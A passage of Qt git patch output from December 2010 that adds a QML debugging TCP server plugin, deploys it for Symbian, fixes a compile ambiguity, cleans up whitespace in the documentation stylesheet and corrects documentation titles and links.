d->socket->setParent(this); + d->protocol = new QPacketProtocol(d->socket, this); + QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); +} + + +Q_EXPORT_PLUGIN2(tcpserver, QTcpServerConnection) + +QT_END_NAMESPACE + diff --git a/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.h b/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.h new file mode 100644 index 0000000..a6e17e6 --- /dev/null +++ b/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.h @@ -0,0 +1,84 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QTCPSERVERCONNECTION_H +#define QTCPSERVERCONNECTION_H + +#include +#include + +QT_BEGIN_NAMESPACE + +class QDeclarativeDebugServer; +class QTcpServerConnectionPrivate; +class QTcpServerConnection : public QObject, public QDeclarativeDebugServerConnection +{ + Q_OBJECT + Q_DECLARE_PRIVATE(QTcpServerConnection) + Q_DISABLE_COPY(QTcpServerConnection) + Q_INTERFACES(QDeclarativeDebugServerConnection) + + +public: + QTcpServerConnection(); + ~QTcpServerConnection(); + + void setServer(QDeclarativeDebugServer *server); + void setPort(int port, bool bock); + + bool isConnected() const; + void send(const QByteArray &message); + void disconnect(); + + void listen(); + void waitForConnection(); + +private Q_SLOTS: + void readyRead(); + void newConnection(); + +private: + QTcpServerConnectionPrivate *d_ptr; +}; + +QT_END_NAMESPACE + +#endif // QTCPSERVERCONNECTION_H diff --git a/src/plugins/qmldebugging/tcpserver/tcpserver.pro b/src/plugins/qmldebugging/tcpserver/tcpserver.pro new file mode 100644 index 0000000..e90fb34 --- /dev/null +++ b/src/plugins/qmldebugging/tcpserver/tcpserver.pro @@ -0,0 +1,18 @@ +TARGET = tcpserver +QT += declarative network + +include(../../qpluginbase.pri) + +QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/qmldebugging +QTDIR_build:REQUIRES += "contains(QT_CONFIG, declarative)" + +SOURCES += \ + qtcpserverconnection.cpp + +HEADERS += \ + qtcpserverconnection.h + +target.path += $$[QT_INSTALL_PLUGINS]/qmldebugging +INSTALLS += target + +symbian:TARGET.UID3=0x20031E90 \ No newline at end of file -- cgit v0.12 From 35ae0b8146bca7a61203ee347654aed27951439c Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Thu, 9 Dec 2010 13:06:08 +0100 Subject: QDeclarativeDebug: Include debugger plugin in qmlviewer.sis Developers that want to debug qml on their device have to now install qmlviewer.sis. Reviewed-by: Christiaan Janssen --- tools/qml/qml.pro | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tools/qml/qml.pro b/tools/qml/qml.pro index bdac6e3..9b07ebe 100644 --- a/tools/qml/qml.pro +++ b/tools/qml/qml.pro @@ -43,6 +43,11 @@ symbian { contains(QT_CONFIG, s60): { LIBS += -lavkon -lcone } + + # Deploy plugin for remote debugging + qmldebuggingplugin.sources = $$QT_BUILD_TREE/plugins/qmldebugging/tcpserver$${QT_LIBINFIX}.dll + qmldebuggingplugin.path = c:$$QT_PLUGINS_BASE_DIR/qmldebugging + DEPLOYMENT += qmldebuggingplugin } mac { QMAKE_INFO_PLIST=Info_mac.plist -- cgit v0.12 From 3290135e88bd8a01e20842c9d1cdca5fe569bf62 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Thu, 16 Dec 2010 14:39:15 +0100 Subject: Symbian compile fix armv5 complained that the call to QChar::category() was ambiguous, because there is a version taking an uint, and a version taking ushort as argument. Reviewed-by: Christiaan Janssen --- src/script/bridge/qscriptdeclarativeclass.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/script/bridge/qscriptdeclarativeclass.cpp b/src/script/bridge/qscriptdeclarativeclass.cpp index 92248a0..13736bc 100644 --- a/src/script/bridge/qscriptdeclarativeclass.cpp +++ b/src/script/bridge/qscriptdeclarativeclass.cpp @@ -473,7 +473,7 @@ bool QScriptDeclarativeClass::startsWithUpper(const Identifier &identifier) JSC::UString::Rep *r = (JSC::UString::Rep *)identifier; if (r->size() < 1) return false; - return QChar::category(r->data()[0]) == QChar::Letter_Uppercase; + return QChar::category((ushort)(r->data()[0])) == QChar::Letter_Uppercase; } quint32 QScriptDeclarativeClass::toArrayIndex(const Identifier &identifier, bool *ok) -- cgit v0.12 From 90c77df38c8168991ae69776a45aa4d08466f541 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 17 Dec 2010 14:13:46 +0100 Subject: Whitespace fixes. --- doc/src/template/style/style.css | 1086 +++++++++++----------- tools/qdoc3/test/qt-html-default-styles.qdocconf | 2 +- 2 files changed, 534 insertions(+), 554 deletions(-) diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index d623bd4..4f9e26c 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -1,6 +1,6 @@ @media screen { - + /* basic elements */ html { @@ -20,7 +20,7 @@ fieldset, img { border: 0; - max-width:100%; + max-width:100%; } address, caption, cite, code, dfn, em, strong, th, var, optgroup { @@ -60,10 +60,10 @@ { vertical-align: baseline; } - tt, .qmlreadonly span, .qmldefault span - { - word-spacing:5px; - } + tt, .qmlreadonly span, .qmldefault span + { + word-spacing:5px; + } legend { color: #000000; @@ -88,7 +88,7 @@ font-style: italic; } - /* adding Qt theme */ + /* adding Qt theme */ html { /* background-color: #e5e5e5;*/ @@ -117,9 +117,9 @@ pre { border: 1px solid #DDDDDD; - -moz-border-radius: 7px 7px 7px 7px; - -webkit-border-radius: 7px 7px 7px 7px; - border-radius: 7px 7px 7px 7px; + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; margin: 0 20px 10px 10px; padding: 20px 15px 20px 20px; overflow-x: auto; @@ -135,14 +135,14 @@ font-size: 11px; margin-bottom: 25px; } - pre.highlightedCode { - display: block; - overflow:hidden; - } + pre.highlightedCode { + display: block; + overflow:hidden; + } thead { margin-top: 5px; - font:600 12px/1.2 Arial; + font:600 12px/1.2 Arial; } th { @@ -155,11 +155,11 @@ padding: 3px 15px 3px 20px; } tr.odd td:hover, tr.even td:hover {} - - td.rightAlign - { + + td.rightAlign + { padding: 3px 5px 3px 10px; - } + } table tr.odd { border-left: 1px solid #E6E6E6; @@ -228,10 +228,10 @@ { font-size: 13px; } - .red - { - color:red; - } + .red + { + color:red; + } /* end font style elements */ /* global settings*/ @@ -255,7 +255,7 @@ clear: both; visibility: hidden; } - + /* end global settings*/ /* header elements */ .header @@ -295,7 +295,7 @@ color: #4c0033; text-decoration: underline; } - + #nav-topright { height: 70px; @@ -428,10 +428,10 @@ { font-variant: normal; } - .shortCut-topleft-inactive span a:hover, .shortCut-topleft-active a:hover - { - text-decoration:none; - } + .shortCut-topleft-inactive span a:hover, .shortCut-topleft-active a:hover + { + text-decoration:none; + } #shortCut { padding-top: 10px; @@ -461,9 +461,9 @@ color: #44a51c; } - - -/* end header elements */ + + +/* end header elements */ /* content and sidebar elements */ .wrapper { @@ -514,17 +514,15 @@ background: url(../images/page.png) no-repeat 100% -60px; overflow: hidden; } - .navTop{ - float:right; - display:block; - padding-right:15px; + .navTop{ + float:right; + display:block; + padding-right:15px; + } - } - - -/* end content and sidebar elements */ +/* end content and sidebar elements */ /* sidebar elements */ .sidebar { @@ -553,9 +551,9 @@ .sidebar .search form { background: url(../images/sprites-combined.png) no-repeat -6px -348px; - height:21px; - padding:2px 0 0 5px; - width:167px; + height:21px; + padding:2px 0 0 5px; + width:167px; } .sidebar .search form input#pageType @@ -613,10 +611,10 @@ .sidebar .box .list { display: block; - max-height:200px; - min-height:120px; - overflow-y:auto; - overflow-x:none; + max-height:200px; + min-height:120px; + overflow-y:auto; + overflow-x:none; } .list li a:hover { @@ -624,9 +622,9 @@ } .sidebar .box ul { - padding-bottom:5px; - padding-left:10px; - padding-top:5px; + padding-bottom:5px; + padding-left:10px; + padding-top:5px; } .sidebar .box ul li { @@ -638,143 +636,143 @@ { background: url(../images/box_bg.png) repeat-x 0 bottom; } - .sidebar .box ul li.noMatch + .sidebar .box ul li.noMatch { background: none; - color:#FF2A00; - font-style:italic; + color:#FF2A00; + font-style:italic; } - .sidebar .box ul li.hit + .sidebar .box ul li.hit { background: none; - color:#AAD2F0; - font-style:italic; - } - .sidebar .search form input.loading - { - background:url("../images/spinner.gif") no-repeat scroll right center transparent; - } - - .sidebar .search form { - _height: 23px; - _width: 169px; - } - - #resultdialog { - display: none; - position: absolute; - *left: 30px; - _left: 0; - *top: 35px; - _top: 30px; - _zoom: 1; - background-color: #fff; - border: 1px solid #666; - z-index: 4; - margin-top: 5px; - _margin: 0 0 0 -20px; - padding: 10px; - width: 30%; - _width: 196px; - height: 250px; - overflow: auto; - -webkit-border-radius: .5em; - -moz-border-radius: .5em; - border-radius: .5em; - -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); - -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); - box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); - font-size: 11px; - } - - #resultdialog a - { + color:#AAD2F0; + font-style:italic; + } + .sidebar .search form input.loading + { + background:url("../images/spinner.gif") no-repeat scroll right center transparent; + } + + .sidebar .search form { + _height: 23px; + _width: 169px; + } + + #resultdialog { + display: none; + position: absolute; + *left: 30px; + _left: 0; + *top: 35px; + _top: 30px; + _zoom: 1; + background-color: #fff; + border: 1px solid #666; + z-index: 4; + margin-top: 5px; + _margin: 0 0 0 -20px; + padding: 10px; + width: 30%; + _width: 196px; + height: 250px; + overflow: auto; + -webkit-border-radius: .5em; + -moz-border-radius: .5em; + border-radius: .5em; + -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); + -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); + box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); + font-size: 11px; + } + + #resultdialog a + { color: #00732f; - } - - #resultdialog.active { - display: block; - } - - .narrow #resultdialog { - width: 60%; - _width: 360px; - } - - .narrow #resultdialog.active { - right: 10px; - *left: auto; - _left: auto; - _right: -20px; - } - - - #resultdialog #resultclose { - float: right; - } - - #resultdialog p, - #resultdialog ul { - clear: both; - margin: 3px 0; - } - - p#searchcount span { - display: none; - } - - p#searchcount.all span#resultcount, - p#searchcount.api span#apicount, - p#searchcount.article span#articlecount, - p#searchcount.example span#examplecount { - display: inline; - } - - #resultlist li { - display: none; - } - - #resultlist.api li.api, - #resultlist.article li.article, - #resultlist.example li.example, - #resultlist.all li { - display: block; - } - - #resultlinks.api a#showapiresults, - #resultlinks.api a#showapiresults:hover, - #resultlinks.article a#showarticleresults, - #resultlinks.article a#showarticleresults:hover, - #resultlinks.example a#showexampleresults, - #resultlinks.example a#showexampleresults:hover, - #resultlinks.all a#showallresults, - #resultlinks.all a#showallresults:hover { - color: #B0ADAB; - } - .floatingResult{ - z-index:1; - position:relative; - padding-top:0px; - background-color:white; - border:solid 1px black; - height:250px; - width:600px; - overflow-x:hidden; - overflow-y:auto; - } - - .floatingResult:hover{ - display:block; - } - .floatingResult:hover{ - } - + } + + #resultdialog.active { + display: block; + } + + .narrow #resultdialog { + width: 60%; + _width: 360px; + } + + .narrow #resultdialog.active { + right: 10px; + *left: auto; + _left: auto; + _right: -20px; + } + + + #resultdialog #resultclose { + float: right; + } + + #resultdialog p, + #resultdialog ul { + clear: both; + margin: 3px 0; + } + + p#searchcount span { + display: none; + } + + p#searchcount.all span#resultcount, + p#searchcount.api span#apicount, + p#searchcount.article span#articlecount, + p#searchcount.example span#examplecount { + display: inline; + } + + #resultlist li { + display: none; + } + + #resultlist.api li.api, + #resultlist.article li.article, + #resultlist.example li.example, + #resultlist.all li { + display: block; + } + + #resultlinks.api a#showapiresults, + #resultlinks.api a#showapiresults:hover, + #resultlinks.article a#showarticleresults, + #resultlinks.article a#showarticleresults:hover, + #resultlinks.example a#showexampleresults, + #resultlinks.example a#showexampleresults:hover, + #resultlinks.all a#showallresults, + #resultlinks.all a#showallresults:hover { + color: #B0ADAB; + } + .floatingResult{ + z-index:1; + position:relative; + padding-top:0px; + background-color:white; + border:solid 1px black; + height:250px; + width:600px; + overflow-x:hidden; + overflow-y:auto; + } + + .floatingResult:hover{ + display:block; + } + .floatingResult:hover{ + } + /* end sidebar elements */ /* content elements */ .wrap { margin: 0 5px 0 208px; - overflow: visible; + overflow: visible; } @@ -784,7 +782,7 @@ { background-color: #fafafa; border-bottom: 1px solid #d1d1d1; - height: 20px; + height: 20px; position: relative; } .wrap .toolbar .toolblock @@ -870,7 +868,7 @@ .wrap .content { padding: 30px; - word-wrap:break-word; + word-wrap:break-word; } .wrap .breadcrumb ul @@ -902,29 +900,29 @@ - .wrap .content ol li { - background:none; - font:normal 10pt/1.2 Verdana; + .wrap .content ol li { + background:none; + font:normal 10pt/1.2 Verdana; - margin-bottom:10px; - margin-left:12px; - /*list-style-type:disc;*/ - } + margin-bottom:10px; + margin-left:12px; + /*list-style-type:disc;*/ + } .wrap .content ol li { - background:none; - margin-bottom: 10px; - padding-left:0px; - margin-left:52px; + background:none; + margin-bottom: 10px; + padding-left:0px; + margin-left:52px; } - + .wrap .content li { background: url(../images/bullet_sq.png) no-repeat 0 5px; font: normal 400 10pt/1.2 Verdana; - margin-bottom: 10px; - padding-left:12px; + margin-bottom: 10px; + padding-left:12px; } .content li:hover {} @@ -935,16 +933,16 @@ } .wrap .content h2 { - font:600 16px/1.2 Arial; - margin-top:15px; - width:100%; + font:600 16px/1.2 Arial; + margin-top:15px; + width:100%; } .wrap .content h3 { font: bold 14px/1.2 Arial; - font:600 16px/1.2 Arial; - margin-top:15px; - width:100%; + font:600 16px/1.2 Arial; + margin-top:15px; + width:100%; } .wrap .content p { @@ -954,25 +952,25 @@ .wrap .content table p { line-height: 20px; - } + } .wrap .content ul { padding-left: 25px; padding-top: 10px; } - .wrap .content ul img { - vertical-align:middle; - } + .wrap .content ul img { + vertical-align:middle; + } a:hover { color: #4c0033; text-decoration: underline; } - descr p a + descr p a { text-decoration: underline; } - + .descr p a:visited { text-decoration: underline; @@ -993,56 +991,56 @@ color: #00732F; text-decoration: underline; } - .alphaChar{ - width:95%; - background-color:#F6F6F6; - border:1px solid #E6E6E6; - -moz-border-radius: 7px 7px 7px 7px; - border-radius: 7px 7px 7px 7px; - -webkit-border-radius: 7px 7px 7px 7px; - font-size:12pt; - padding-left:10px; - margin-top:10px; - margin-bottom:10px; - } - .flowList{ - /*vertical-align:top;*/ - /*margin:20px auto;*/ - - column-count:3; - -webkit-column-count:3; - -moz-column-count:3; + .alphaChar{ + width:95%; + background-color:#F6F6F6; + border:1px solid #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + font-size:12pt; + padding-left:10px; + margin-top:10px; + margin-bottom:10px; + } + .flowList{ + /*vertical-align:top;*/ + /*margin:20px auto;*/ + + column-count:3; + -webkit-column-count:3; + -moz-column-count:3; /* - column-width:100%; - -webkit-column-width:200px; - -col-column-width:200px; + column-width:100%; + -webkit-column-width:200px; + -col-column-width:200px; */ - column-gap:41px; - -webkit-column-gap:41px; - -moz-column-gap:41px; - - column-rule: 1px dashed #ccc; - -webkit-column-rule: 1px dashed #ccc; - -moz-column-rule: 1px dashed #ccc; - } - - .flowList dl{ - } - .flowList dd{ - /*display:inline-block;*/ - margin-left:10px; - min-width:250px; - line-height: 1.5; - min-width:100%; - min-height:15px; - } - - .flowList dd a{ - } - - .wrap .content .flowList p{ - padding:0px; - } + column-gap:41px; + -webkit-column-gap:41px; + -moz-column-gap:41px; + + column-rule: 1px dashed #ccc; + -webkit-column-rule: 1px dashed #ccc; + -moz-column-rule: 1px dashed #ccc; + } + + .flowList dl{ + } + .flowList dd{ + /*display:inline-block;*/ + margin-left:10px; + min-width:250px; + line-height: 1.5; + min-width:100%; + min-height:15px; + } + + .flowList dd a{ + } + + .wrap .content .flowList p{ + padding:0px; + } .content .alignedsummary { @@ -1092,7 +1090,7 @@ background-color: #e6e7e8; z-index: 4; } - #feedcloseX + #feedcloseX { display: inline; padding: 5px 5px 0 0; @@ -1110,25 +1108,25 @@ height: 120px; margin: 0px 25px 10px 15px; } - #noteHead - { - font-weight:bold; - padding:10px 10px 10px 20px; - } + #noteHead + { + font-weight:bold; + padding:10px 10px 10px 20px; + } #feedsubmit { display: inline; float: right; margin: 4px 32px 0 0; } - - .note - { - font-size:7pt; - padding-bottom:3px; - padding-left:20px; - } - + + .note + { + font-size:7pt; + padding-bottom:3px; + padding-left:20px; + } + #blurpage { display: none; @@ -1160,67 +1158,67 @@ font: bold 12px/1.2 Arial; } - .generic{ - } - .generic td{ - /* padding:5px;*/ - } - .generic .alphaChar{ - margin-top:5px; - } - - .generic .odd .alphaChar{ + .generic{ + } + .generic td{ + /* padding:5px;*/ + } + .generic .alphaChar{ + margin-top:5px; + } + + .generic .odd .alphaChar{ background-color: #F6F6F6; - } - - .generic .even .alphaChar{ + } + + .generic .even .alphaChar{ background-color: #FFFFFF; - } - - .alignedsummary{} - .propsummary{} - .memItemLeft{} - .memItemRight{ - padding:3px 15px 3px 0; - } - .bottomAlign{} - .highlightedCode - { - margin:10px; - } - .LegaleseLeft{} - .valuelist{} - .annotated td{ - padding: 3px 5px 3px 5px; - } - .obsolete{} - .compat{} - .flags{} - .qmlsummary{} - .qmlitem{} - .qmlproto{} - .qmlname{} - .qmlreadonly{} - .qmldefault{} - .qmldoc{} - .qt-style{} - .redFont{} - code{} - + } + + .alignedsummary{} + .propsummary{} + .memItemLeft{} + .memItemRight{ + padding:3px 15px 3px 0; + } + .bottomAlign{} + .highlightedCode + { + margin:10px; + } + .LegaleseLeft{} + .valuelist{} + .annotated td{ + padding: 3px 5px 3px 5px; + } + .obsolete{} + .compat{} + .flags{} + .qmlsummary{} + .qmlitem{} + .qmlproto{} + .qmlname{} + .qmlreadonly{} + .qmldefault{} + .qmldoc{} + .qt-style{} + .redFont{} + code{} + .wrap .content .toc ul { padding-left: 0px; } - .wrap .content .toc h3{ - border-bottom:0px; - margin-top:0px; - } - - .wrap .content .toc h3 a:hover{ - color:#00732F; - text-decoration:none; - } + .wrap .content .toc h3{ + border-bottom:0px; + margin-top:0px; + } + + .wrap .content .toc h3 a:hover{ + color:#00732F; + text-decoration:none; + } .wrap .content .toc .level2 @@ -1258,56 +1256,55 @@ } h3.fn, span.fn { - -moz-border-radius:7px 7px 7px 7px; - -webkit-border-radius:7px 7px 7px 7px; - border-radius:7px 7px 7px 7px; + -moz-border-radius:7px 7px 7px 7px; + -webkit-border-radius:7px 7px 7px 7px; + border-radius:7px 7px 7px 7px; background-color: #F6F6F6; border-width: 1px; border-style: solid; border-color: #E6E6E6; font-weight: bold; - word-spacing:3px; - padding:3px 5px; - } - - .functionIndex { - font-size:12pt; - word-spacing:10px; - margin-bottom:10px; - background-color: #F6F6F6; - border-width: 1px; - border-style: solid; - border-color: #E6E6E6; - -moz-border-radius: 7px 7px 7px 7px; - -webkit-border-radius: 7px 7px 7px 7px; - border-radius: 7px 7px 7px 7px; - width:100%; - } - - .centerAlign - { - text-align:center; - } - - .rightAlign - { - text-align:right; - } - - - .leftAlign - { - text-align:left; - } - - .topAlign{ - vertical-align:top - } - - .functionIndex a{ - display:inline-block; - } - + word-spacing:3px; + padding:3px 5px; + } + + .functionIndex { + font-size:12pt; + word-spacing:10px; + margin-bottom:10px; + background-color: #F6F6F6; + border-width: 1px; + border-style: solid; + border-color: #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + width:100%; + } + + .centerAlign + { + text-align:center; + } + + .rightAlign + { + text-align:right; + } + + .leftAlign + { + text-align:left; + } + + .topAlign{ + vertical-align:top + } + + .functionIndex a{ + display:inline-block; + } + /* end content elements */ /* footer elements */ @@ -1324,7 +1321,7 @@ .small { font: normal 9px/1 Verdana; - } + } /* end footer elements */ @@ -1334,7 +1331,7 @@ .indexbox { width: 100%; - display:inline-block; + display:inline-block; } .indexboxcont @@ -1354,7 +1351,7 @@ .indexboxcont .section { display: inline-block; - width: 49%; + width: 49%; *width:42%; _width:42%; padding:0 2% 0 1%; @@ -1364,7 +1361,7 @@ .indexboxcont .indexIcon { - width: 11%; + width: 11%; *width:18%; _width:18%; overflow:hidden; @@ -1383,8 +1380,8 @@ .indexboxcont .sectionlist { display: inline-block; - vertical-align:top; - width: 32.5%; + vertical-align:top; + width: 32.5%; padding: 0; } .indexboxcont .sectionlist ul @@ -1413,17 +1410,16 @@ color: #00732f; text-decoration: none; } - - .indexbox .indexIcon { - width: 11%; - } - + .indexbox .indexIcon { + width: 11%; + } + .indexbox .indexIcon span { display: block; } - + .indexbox.guide .indexIcon span { width: 96px; @@ -1431,7 +1427,7 @@ background: url(../images/sprites-combined.png) no-repeat -5px -376px; padding: 0; } - + .indexbox.tools .indexIcon span { width: 115px; @@ -1447,56 +1443,55 @@ clear: both; visibility: hidden; } - + /* start of creator spec*/ - .creator - { - margin-left:0px; - margin-right:0px; - padding-left:0px; - padding-right:0px; - } - .creator .wrap .content ol li { - list-style-type:decimal; - - } + .creator + { + margin-left:0px; + margin-right:0px; + padding-left:0px; + padding-right:0px; + } + .creator .wrap .content ol li { + list-style-type:decimal; + } .creator .header .icon, - .creator .feedback, - .creator .t_button, .creator .feedback, - .creator #feedbackBox, - .creator #feedback, - .creator #blurpage, - /*.creator .indexbox .indexIcon span,*/ - .creator .wrapper .hd, -/* .creator .indexbox .indexIcon,*/ - .creator .header #nav-logo, - .creator #offlinemenu, - .creator #offlinesearch, - .creator .header #nav-topright, + .creator .t_button, + .creator .feedback, + .creator #feedbackBox, + .creator #feedback, + .creator #blurpage, + /* .creator .indexbox .indexIcon span,*/ + .creator .wrapper .hd, + /* .creator .indexbox .indexIcon,*/ + .creator .header #nav-logo, + .creator #offlinemenu, + .creator #offlinesearch, + .creator .header #nav-topright, .creator .header #shortCut , - .creator .wrapper .hd, + .creator .wrapper .hd, .creator .wrapper .ft, - .creator .sidebar, - .creator .wrap .feedback + .creator .sidebar, + .creator .wrap .feedback { - display:none; + display:none; } - - body.creator + + body.creator { - background: none; + background: none; font: normal 13px/1.2 Verdana; color: #363534; - background-color: #FAFAFA; + background-color: #FAFAFA; } - .wrap .content ol li { - - } + .wrap .content ol li { + + } .creator .header, .creator .footer, .creator .wrapper @@ -1505,16 +1500,15 @@ margin: 0px; } - .creator .wrapper + .creator .wrapper { - position:relative; - top:5px; + position:relative; + top:5px; } .creator .wrapper .bd - { - - background:#FFFFFF; - } + { + background:#FFFFFF; + } .creator .header, .footer @@ -1532,81 +1526,76 @@ .creator .header .qtref span { - background:none; - } - + background:none; + } - - .creator .footer + .creator .footer { - border-top:1px solid #E5E5E5; + border-top:1px solid #E5E5E5; height: 50px; - margin:0px; - padding:10px; + margin:0px; + padding:10px; } - - .creator .footer p - { - text-align:justify; - max-width:900px; - } - - .creator .wrap + + .creator .footer p { + text-align:justify; + max-width:900px; + } + .creator .wrap + { padding:0 5px 0 5px; - margin: 0px; + margin: 0px; } .creator .wrap .toolbar { - - - border-bottom:1px solid #E5E5E5; - /*width:100%;*/ - margin-left:-5px; - margin-right:-5px; - } + border-bottom:1px solid #E5E5E5; + /*width:100%;*/ + margin-left:-5px; + margin-right:-5px; + } .creator .wrap .breadcrumb ul li a { /* color: #363534;*/ color: #00732F; - } - + } + .creator .wrap .content { padding: 0px; - word-wrap:break-word; + word-wrap:break-word; } - - .creator .wrap .content ol li { - background:none; - font: inherit; + + .creator .wrap .content ol li { + background:none; + font: inherit; padding-left: 0px; - } - - .creator .wrap .content .descr ol li { - margin-left: 45px; + } + .creator .wrap .content .descr ol li { + margin-left: 45px; } + .creator .content .alignedsummary { margin: 5px; - width:100%; - } - .creator .generic{ - max-width:75%; - } - .creator .generic td{ - /*padding:0;*/ - } + width:100%; + } + .creator .generic{ + max-width:75%; + } + .creator .generic td{ + /*padding:0;*/ + } .creator .indexboxbar { - border-bottom:1px solid #E5E5E5; + border-bottom:1px solid #E5E5E5; margin-bottom: 25px; - background: none; + background: none; } - - + + .creator .header { @@ -1616,17 +1605,9 @@ background-color: #ffffff; padding: 10px 0 5px 0; overflow: visible; - border-bottom: solid #E5E5E5 1px; - z-index:1; - - - - - - - - - /* position:fixed;*/ + border-bottom: solid #E5E5E5 1px; + z-index:1; + /* position:fixed;*/ } @@ -1645,17 +1626,17 @@ .creator .header .qtref:visited { color: #00732F; - } + } .creator .header .qtref:hover { color: #00732F; - text-decoration:none; - } + text-decoration:none; + } .creator .header .qtref span { background-image: none; text-indent: 0; - text-decoration:none; + text-decoration:none; } @@ -1666,7 +1647,7 @@ .creator .wrap .toolbar { display:block; - padding-top:0px; + padding-top:0px; } @@ -1682,80 +1663,80 @@ .creator .wrap .breadcrumb ul li.last a { /*color: #363534;*/ } - - .creator #narrowmenu ul - { - border-bottom:solid 1px #E5E5E5; - border-left:solid 1px #E5E5E5; - border-right:solid 1px #E5E5E5; - } + + .creator #narrowmenu ul + { + border-bottom:solid 1px #E5E5E5; + border-left:solid 1px #E5E5E5; + border-right:solid 1px #E5E5E5; + } .creator #narrowmenu li ul { margin-top:-15px; - } + } + + .creator .toc { + margin:10px 20px 10px 10px; + } - .creator .toc { - margin:10px 20px 10px 10px; - } - - .creator #narrowsearch, .creator #narrowmenu{ - display:none; - } + .creator #narrowsearch, .creator #narrowmenu{ + display:none; + } /* end of creator spec*/ - - .item { - float: left; - position: relative; - width: 100%; - overflow: hidden; - } - - - .item .primary { - margin-right: 220px; - position: relative; - } - - .item hr { - margin-left: -220px; - } - - .item .secondary { - float: right; - width: 200px; - position: relative; - } - - .item .cols { - clear: both; - display: block; - } - - .item .cols .col { - float: left; - margin-left: 1.5%; - } - - .item .cols .col.first { - margin-left: 0; - } - - .item .cols.two .col { - width: 45%; - } - - .item .box { - margin: 0 0 10px 0; - } - - .item .box h3 { - margin: 0 0 10px 0; - } - - .cols.unclear { - clear:none; - } + + .item { + float: left; + position: relative; + width: 100%; + overflow: hidden; + } + + + .item .primary { + margin-right: 220px; + position: relative; + } + + .item hr { + margin-left: -220px; + } + + .item .secondary { + float: right; + width: 200px; + position: relative; + } + + .item .cols { + clear: both; + display: block; + } + + .item .cols .col { + float: left; + margin-left: 1.5%; + } + + .item .cols .col.first { + margin-left: 0; + } + + .item .cols.two .col { + width: 45%; + } + + .item .box { + margin: 0 0 10px 0; + } + + .item .box h3 { + margin: 0 0 10px 0; + } + + .cols.unclear { + clear:none; + } } /* end of screen media */ @@ -1773,8 +1754,7 @@ { background: none; display: block; - width: 100%; margin: 0; float: none; - + width: 100%; margin: 0; float: none; } } /* end of print media */ diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf index c9c02ea..623e4a9 100644 --- a/tools/qdoc3/test/qt-html-default-styles.qdocconf +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -19,7 +19,7 @@ extraimages.HTML = qt-logo.png \ bullet_up.png \ horBar.png \ sprites-combined.png - + # Include the style sheets and scripts used. HTML.headerstyles = \ -- cgit v0.12 From 26e9a288886978a8f38e9385d8d6011fdbfbebe7 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 17 Dec 2010 20:38:39 +0100 Subject: Doc: Fixed broken links. --- doc/src/development/developing-with-qt.qdoc | 8 +++----- doc/src/index.qdoc | 10 +++++----- doc/src/overviews.qdoc | 4 ++-- 3 files changed, 10 insertions(+), 12 deletions(-) diff --git a/doc/src/development/developing-with-qt.qdoc b/doc/src/development/developing-with-qt.qdoc index 6793abd..72073e8 100644 --- a/doc/src/development/developing-with-qt.qdoc +++ b/doc/src/development/developing-with-qt.qdoc @@ -28,7 +28,7 @@ /*! \page developing-with-qt.html - \title Cross-platform & Platform-specific Development + \title Cross-Platform and Platform-Specific Development Qt allows you to write advanced applications and UIs once, and deploy them across desktop and embedded operating systems without rewriting the source code. The top section of this page provides an overview of the tools and @@ -37,7 +37,7 @@ links to documents that describe platform-specific features provided by Qt, and discuss issues related to particular platforms and environments. - \section1 Cross-platform Development with Qt + \section1 Cross-Platform Development with Qt Qt is provided with a set of build tools to help developers automate the process of building and installing Qt applications. @@ -68,7 +68,7 @@ \endlist \endtable - \section1 Platform-specific Development with Qt + \section1 Platform-Specific Development with Qt These documents describe platform-specific features provided by Qt, and discuss issues related to particular platforms and environments. @@ -110,6 +110,4 @@ \o Collections of notes about Qt implementations on different window systems. \endlist \endtable - - */ diff --git a/doc/src/index.qdoc b/doc/src/index.qdoc index aefbea1..4aec230 100644 --- a/doc/src/index.qdoc +++ 